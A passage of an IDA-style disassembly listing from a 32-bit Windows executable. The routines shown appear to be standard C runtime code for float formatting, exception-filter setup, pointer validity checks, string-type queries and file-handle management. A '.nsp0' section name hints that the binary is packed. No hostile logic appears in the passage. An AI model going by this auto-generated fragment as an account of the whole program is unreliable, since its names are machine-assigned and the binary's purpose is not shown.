		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_414F99
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_414FCB:				; CODE XREF: sub_414F63+86j
		cmp	ebx, edi
		jl	short loc_414FDE
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_414FE5
; ---------------------------------------------------------------------------


loc_414FDE:				; CODE XREF: sub_414F63+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_414FE5:				; CODE XREF: sub_414F63+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_414FCB
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414F63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FF0	proc near		; CODE XREF: sub_41515C+Dp
					; sub_415172+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41505D
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_414F48
		test	eax, eax
		pop	ecx
		jnz	loc_41511C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414F3C
		pop	ecx


loc_415055:				; CODE XREF: sub_414FF0+E4j
		push	2


loc_415057:				; CODE XREF: sub_414FF0+110j
		pop	eax
		jmp	loc_41511E
; ---------------------------------------------------------------------------


loc_41505D:				; CODE XREF: sub_414FF0+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_414F21
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414E95
		add	esp, 10h
		test	eax, eax
		jz	short loc_41507E
		inc	ebx


loc_41507E:				; CODE XREF: sub_414FF0+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_415096
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414F3C
		pop	ecx
		jmp	short loc_4150D2
; ---------------------------------------------------------------------------


loc_415096:				; CODE XREF: sub_414FF0+98j
		cmp	ebx, eax
		jg	short loc_4150D9
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414F21
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_414F63
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414E95
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414F63
		add	esp, 20h


loc_4150D2:				; CODE XREF: sub_414FF0+A4j
		xor	esi, esi
		jmp	loc_415055
; ---------------------------------------------------------------------------


loc_4150D9:				; CODE XREF: sub_414FF0+A8j
		cmp	ebx, [edi]
		jl	short loc_415105
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414F3C
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414F63
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_415057
; ---------------------------------------------------------------------------


loc_415105:				; CODE XREF: sub_414FF0+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_414F63
		pop	ecx
		pop	ecx


loc_41511C:				; CODE XREF: sub_414FF0+55j
		xor	eax, eax


loc_41511E:				; CODE XREF: sub_414FF0+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41514D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_415157
; ---------------------------------------------------------------------------


loc_41514D:				; CODE XREF: sub_414FF0+14Ej
		cmp	edi, 20h
		jnz	short loc_415157
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_415157:				; CODE XREF: sub_414FF0+15Bj
					; sub_414FF0+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414FF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41515C	proc near		; CODE XREF: sub_415188+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_422618
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_414FF0
		add	esp, 0Ch
		retn
sub_41515C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415172	proc near		; CODE XREF: sub_4151B5+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_422630
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_414FF0
		add	esp, 0Ch
		retn
sub_415172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415188	proc near		; CODE XREF: sub_411E6E+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416337
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41515C
		add	esp, 24h
		leave
		retn
sub_415188	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151B5	proc near		; CODE XREF: sub_411E6E+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416337
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_415172
		add	esp, 24h
		leave
		retn
sub_4151B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151E2	proc near		; CODE XREF: sub_411EAC+65p
					; sub_411FB0+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41521F
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_415205:				; CODE XREF: sub_4151E2+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_415211
		movsx	edx, dl
		inc	ecx
		jmp	short loc_415214
; ---------------------------------------------------------------------------


loc_415211:				; CODE XREF: sub_4151E2+27j
		push	30h
		pop	edx


loc_415214:				; CODE XREF: sub_4151E2+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_415205
		mov	edx, [ebp+arg_8]


loc_41521F:				; CODE XREF: sub_4151E2+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_415238
		cmp	byte ptr [ecx],	35h
		jl	short loc_415238


loc_41522B:				; CODE XREF: sub_4151E2+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_415236
		mov	byte ptr [eax],	30h
		jmp	short loc_41522B
; ---------------------------------------------------------------------------


loc_415236:				; CODE XREF: sub_4151E2+4Dj
		inc	byte ptr [eax]


loc_415238:				; CODE XREF: sub_4151E2+42j
					; sub_4151E2+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_415242
		inc	dword ptr [edx+4]
		jmp	short loc_415254
; ---------------------------------------------------------------------------


loc_415242:				; CODE XREF: sub_4151E2+59j
		push	edi
		call	sub_40CBC0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_40D460
		add	esp, 10h


loc_415254:				; CODE XREF: sub_4151E2+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4151E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415259	proc near		; CODE XREF: sub_411EAC+3Fp
					; sub_411FB0+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4152BD
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_481F88
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_416808
		mov	dword_481FB0, eax
		add	esp, 18h
		movsx	eax, byte_481F8A
		mov	dword_481FA8, eax
		pop	edi
		movsx	eax, word_481F88
		mov	dword_481FAC, eax
		mov	dword_481FB4, offset dword_481F8C
		mov	eax, offset dword_481FA8
		pop	esi
		leave
		retn
sub_415259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152BD	proc near		; CODE XREF: sub_415259+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41530B
		cmp	ebx, edi
		jz	short loc_415304
		lea	edi, [ecx+3C00h]
		jmp	short loc_41532C
; ---------------------------------------------------------------------------


loc_415304:				; CODE XREF: sub_4152BD+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41532C
; ---------------------------------------------------------------------------


loc_41530B:				; CODE XREF: sub_4152BD+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_415323
		cmp	edx, ebx
		jnz	short loc_415323
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41536E
; ---------------------------------------------------------------------------


loc_415323:				; CODE XREF: sub_4152BD+52j
					; sub_4152BD+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41532C:				; CODE XREF: sub_4152BD+45j
					; sub_4152BD+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_415344:				; CODE XREF: sub_4152BD+A6j
		test	ecx, esi
		jnz	short loc_415365
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_415344
; ---------------------------------------------------------------------------


loc_415365:				; CODE XREF: sub_4152BD+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41536E:				; CODE XREF: sub_4152BD+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4152BD	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_40EC7A
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41537C	proc near		; DATA XREF: .nsp0:004153C2o
					; .nsp0:00421DE8o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41539F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41539F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41539F
		jmp	sub_412A3C
; ---------------------------------------------------------------------------


loc_41539F:				; CODE XREF: sub_41537C+Dj
					; sub_41537C+13j ...
		mov	eax, dword_481FB8
		test	eax, eax
		jz	short loc_4153BC
		push	eax
		call	sub_415418
		test	eax, eax
		pop	ecx
		jz	short loc_4153BC
		push	esi
		call	dword_481FB8
		jmp	short loc_4153BE
; ---------------------------------------------------------------------------


loc_4153BC:				; CODE XREF: sub_41537C+2Aj
					; sub_41537C+35j
		xor	eax, eax


loc_4153BE:				; CODE XREF: sub_41537C+3Ej
		pop	esi
		retn	4
sub_41537C	endp

; ---------------------------------------------------------------------------
		push	offset sub_41537C
		call	dword_41802C	; SetUnhandledExceptionFilter
		mov	dword_481FB8, eax
		retn
; ---------------------------------------------------------------------------


loc_4153D3:				; DATA XREF: .nsp0:0041A038o
		push	dword_481FB8
		call	dword_41802C	; SetUnhandledExceptionFilter
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4153E0	proc near		; CODE XREF: sub_412284+6Bp
					; sub_412795+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_418028	; IsBadReadPtr
		test	eax, eax
		jz	short loc_4153F8
		xor	esi, esi


loc_4153F8:				; CODE XREF: sub_4153E0+14j
		mov	eax, esi
		pop	esi
		retn
sub_4153E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4153FC	proc near		; CODE XREF: sub_412795+73p
					; sub_412795+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_418148	; IsBadWritePtr
		test	eax, eax
		jz	short loc_415414
		xor	esi, esi


loc_415414:				; CODE XREF: sub_4153FC+14j
		mov	eax, esi
		pop	esi
		retn
sub_4153FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415418	proc near		; CODE XREF: sub_412795+15Bp
					; sub_41537C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_418024	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41542C
		xor	esi, esi


loc_41542C:				; CODE XREF: sub_415418+10j
		mov	eax, esi
		pop	esi
		retn
sub_415418	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412A3C


loc_415430:				; CODE XREF: sub_412A3C:loc_412A8Dj
		push	0Ah
		call	sub_414679
		push	16h
		call	sub_416A9B
		pop	ecx
		pop	ecx
		push	3
		call	sub_40E7C3
; END OF FUNCTION CHUNK	FOR sub_412A3C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415447	proc near		; CODE XREF: sub_412B49+5Ep
					; sub_4138B8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418B78
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_481FBC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4154B6
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_418868
		push	esi
		call	dword_41801C	; GetStringTypeW
		test	eax, eax
		jz	short loc_415494
		mov	eax, esi
		jmp	short loc_4154B1
; ---------------------------------------------------------------------------


loc_415494:				; CODE XREF: sub_415447+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4242EC
		push	esi
		push	ebx
		call	dword_418020	; GetStringTypeA
		test	eax, eax
		jz	loc_41557C
		push	2
		pop	eax


loc_4154B1:				; CODE XREF: sub_415447+4Bj
		mov	dword_481FBC, eax


loc_4154B6:				; CODE XREF: sub_415447+2Fj
		cmp	eax, 2
		jnz	short loc_4154DF
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_4154C7
		mov	eax, dword_481E4C


loc_4154C7:				; CODE XREF: sub_415447+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_418020	; GetStringTypeA
		jmp	loc_41557E
; ---------------------------------------------------------------------------


loc_4154DF:				; CODE XREF: sub_415447+72j
		cmp	eax, 1
		jnz	loc_41557C
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4154F5
		mov	eax, dword_481E5C
		mov	[ebp+arg_10], eax


loc_4154F5:				; CODE XREF: sub_415447+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_4180CC	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41557C
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40CCA0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_40CC40
		add	esp, 0Ch
		jmp	short loc_41554B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41554B:				; CODE XREF: sub_415447+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41557C
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_4180CC	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41557C
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_41801C	; GetStringTypeW
		jmp	short loc_41557E
; ---------------------------------------------------------------------------


loc_41557C:				; CODE XREF: sub_415447+61j
					; sub_415447+9Bj ...
		xor	eax, eax


loc_41557E:				; CODE XREF: sub_415447+93j
					; sub_415447+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415447	endp


; =============== S U B	R O U T	I N E =======================================



sub_415590	proc near		; CODE XREF: sub_4157AA:loc_415922p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4830E0


loc_41559F:				; CODE XREF: sub_415590+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4155DC
		lea	edx, [eax+100h]


loc_4155AB:				; CODE XREF: sub_415590+28j
		cmp	eax, edx
		jnb	short loc_4155CB
		test	byte ptr [eax+4], 1
		jz	short loc_4155BA
		add	eax, 8
		jmp	short loc_4155AB
; ---------------------------------------------------------------------------


loc_4155BA:				; CODE XREF: sub_415590+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41561F


loc_4155CB:				; CODE XREF: sub_415590+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4831E0
		jl	short loc_41559F
		jmp	short loc_41561F
; ---------------------------------------------------------------------------


loc_4155DC:				; CODE XREF: sub_415590+13j
		mov	esi, 100h
		push	esi
		call	sub_40CCCF
		test	eax, eax
		pop	ecx
		jz	short loc_41561F
		add	dword_4831E0, 20h
		lea	ecx, ds:4830E0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_415602:				; CODE XREF: sub_415590+88j
		cmp	eax, edx
		jnb	short loc_41561A
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_415602
; ---------------------------------------------------------------------------


loc_41561A:				; CODE XREF: sub_415590+74j
		shl	edi, 5
		mov	ebx, edi


loc_41561F:				; CODE XREF: sub_415590+39j
					; sub_415590+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_415590	endp


; =============== S U B	R O U T	I N E =======================================



sub_415625	proc near		; CODE XREF: sub_4157AA+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4831E0
		push	edi
		jnb	short loc_415685
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4830E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_415685
		cmp	dword_41FC74, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41567B
		sub	eax, 0
		jz	short loc_415672
		dec	eax
		jz	short loc_41566D
		dec	eax
		jnz	short loc_41567B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_415675
; ---------------------------------------------------------------------------


loc_41566D:				; CODE XREF: sub_415625+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_415675
; ---------------------------------------------------------------------------


loc_415672:				; CODE XREF: sub_415625+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_415675:				; CODE XREF: sub_415625+46j
					; sub_415625+4Bj
		call	dword_418018	; SetStdHandle


loc_41567B:				; CODE XREF: sub_415625+36j
					; sub_415625+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_415699
; ---------------------------------------------------------------------------


loc_415685:				; CODE XREF: sub_415625+Cj
					; sub_415625+28j
		and	dword_481DC0, 0
		mov	dword_481DBC, 9
		or	eax, 0FFFFFFFFh


loc_415699:				; CODE XREF: sub_415625+5Ej
		pop	edi
		pop	esi
		retn
sub_415625	endp


; =============== S U B	R O U T	I N E =======================================



sub_41569C	proc near		; CODE XREF: sub_412BBE+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4831E0
		push	edi
		jnb	short loc_4156FF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4830E0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_4156FF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4156FF
		cmp	dword_41FC74, 1
		jnz	short loc_4156F5
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_4156EC
		dec	ecx
		jz	short loc_4156E7
		dec	ecx
		jnz	short loc_4156F5
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_4156EF
; ---------------------------------------------------------------------------


loc_4156E7:				; CODE XREF: sub_41569C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_4156EF
; ---------------------------------------------------------------------------


loc_4156EC:				; CODE XREF: sub_41569C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_4156EF:				; CODE XREF: sub_41569C+49j
					; sub_41569C+4Ej
		call	dword_418018	; SetStdHandle


loc_4156F5:				; CODE XREF: sub_41569C+38j
					; sub_41569C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_415713
; ---------------------------------------------------------------------------


loc_4156FF:				; CODE XREF: sub_41569C+Cj
					; sub_41569C+2Aj ...
		and	dword_481DC0, 0
		mov	dword_481DBC, 9
		or	eax, 0FFFFFFFFh


loc_415713:				; CODE XREF: sub_41569C+61j
		pop	edi
		pop	esi
		retn
sub_41569C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415716	proc near		; CODE XREF: sub_412BBE+32p
					; sub_412BBE+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4831E0
		jnb	short loc_41573E
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4830E0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41573E
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41573E:				; CODE XREF: sub_415716+Aj
					; sub_415716+23j
		and	dword_481DC0, 0
		mov	dword_481DBC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_415716	endp


; =============== S U B	R O U T	I N E =======================================



sub_415753	proc near		; CODE XREF: sub_412C9C+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4831E0
		jnb	short loc_41579C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4830E0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41579C
		push	eax
		call	sub_415716
		pop	ecx
		push	eax
		call	dword_418014	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_415791
		call	dword_418044	; RtlGetLastWin32Error
		jmp	short loc_415793
; ---------------------------------------------------------------------------


loc_415791:				; CODE XREF: sub_415753+34j
		xor	eax, eax


loc_415793:				; CODE XREF: sub_415753+3Cj
		test	eax, eax
		jz	short locret_4157A9
		mov	dword_481DC0, eax


loc_41579C:				; CODE XREF: sub_415753+Aj
					; sub_415753+22j
		mov	dword_481DBC, 9
		or	eax, 0FFFFFFFFh

locret_4157A9:				; CODE XREF: sub_415753+42j
		retn
sub_415753	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157AA	proc near		; CODE XREF: sub_413078+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_4157D0
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_4157DB
; ---------------------------------------------------------------------------


loc_4157D0:				; CODE XREF: sub_4157AA+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_4157DB:				; CODE XREF: sub_4157AA+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_4157F5
		test	ch, 40h
		jnz	short loc_4157F1
		cmp	dword_4820A4, eax
		jz	short loc_4157F5


loc_4157F1:				; CODE XREF: sub_4157AA+3Dj
		or	[ebp+var_1], 80h


loc_4157F5:				; CODE XREF: sub_4157AA+38j
					; sub_4157AA+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41582D
		dec	eax
		jz	short loc_415824
		dec	eax
		jz	short loc_41581B


loc_415806:				; CODE XREF: sub_4157AA+9Fj
					; sub_4157AA+E8j ...
		mov	dword_481DBC, 16h
		mov	dword_481DC0, ebx
		jmp	loc_415A40
; ---------------------------------------------------------------------------


loc_41581B:				; CODE XREF: sub_4157AA+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_415834
; ---------------------------------------------------------------------------


loc_415824:				; CODE XREF: sub_4157AA+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_415834
; ---------------------------------------------------------------------------


loc_41582D:				; CODE XREF: sub_4157AA+54j
		mov	[ebp+var_C], 80000000h


loc_415834:				; CODE XREF: sub_4157AA+78j
					; sub_4157AA+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_415862
